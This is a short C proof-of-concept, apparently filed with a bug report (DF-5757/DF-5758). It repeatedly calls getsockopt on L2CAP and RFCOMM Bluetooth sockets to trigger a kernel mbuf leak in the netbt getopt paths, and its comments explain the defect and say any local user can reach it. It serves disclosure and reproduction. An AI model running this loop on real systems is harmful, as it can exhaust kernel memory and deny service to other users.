DF-5757 / bt_getopt_leak.c
/* * bt_getopt_leak.c - l2cap_ctloutput / rfcomm_ctloutput PRCO_GETOPT mbuf leak * * DF-5757: sys/netbt/l2cap_socket.c:119-132 - GETOPT success path never * frees the m_get() mbuf (only the m_len==0 error path frees it). * DF-5758: sys/netbt/rfcomm_socket.c:116-127 - identical defect. * * For a valid option (SO_L2CAP_IMTU / SO_RFCOMM_MTU) the upper-layer getopt * returns sizeof(uint16_t)=2 != 0, so the error branch is skipped, the value * is copied to userspace - and the mbuf is leaked. 1 mbuf per getsockopt. * * Preconditions: netbt.ko loaded (admin action); then ANY local user. * No Bluetooth controller needed: socket+pcb exist right after socket(2). * * Build: cc -o bt_getopt_leak bt_getopt_leak.c * Run: ./bt_getopt_leak [iters] [0=l2cap 1=rfcomm 2=both] */ #include <sys/socket.h> #include <sys/types.h> #include <netbt/bluetooth.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> /* option names from sys/netbt/l2cap.h / rfcomm.h (avoid kernel-ish headers) */ #define SO_L2CAP_IMTU_OPT 1 #define SO_RFCOMM_MTU_OPT 1 static int run_proto(int type, int proto, int opt, const char *name, long iters) { int s = socket(AF_BLUETOOTH, type, proto); uint32_t val = 0; socklen_t len; long ok = 0, fail = 0, i; if (s < 0) { perror(name); return 1; } for (i = 0; i < iters; i++) { len = sizeof(val); if (getsockopt(s, proto, opt, &val, &len) == 0) ok++; else fail++; } printf("%s: iterations=%ld ok=%ld fail=%ld last_val=%u optlen=%u\n", name, iters, ok, fail, val, (unsigned)len); close(s); return (fail == iters); } int main(int argc, char **argv) { long iters = (argc > 1) ? atol(argv[1]) : 10000; int which = (argc > 2) ? atoi(argv[2]) : 2; int rc = 0; if (which == 0 || which == 2) rc |= run_proto(SOCK_SEQPACKET, BTPROTO_L2CAP, SO_L2CAP_IMTU_OPT, "l2cap", iters); if (which == 1 || which == 2) rc |= run_proto(SOCK_STREAM, BTPROTO_RFCOMM, SO_RFCOMM_MTU_OPT, "rfcomm", iters); return rc; } |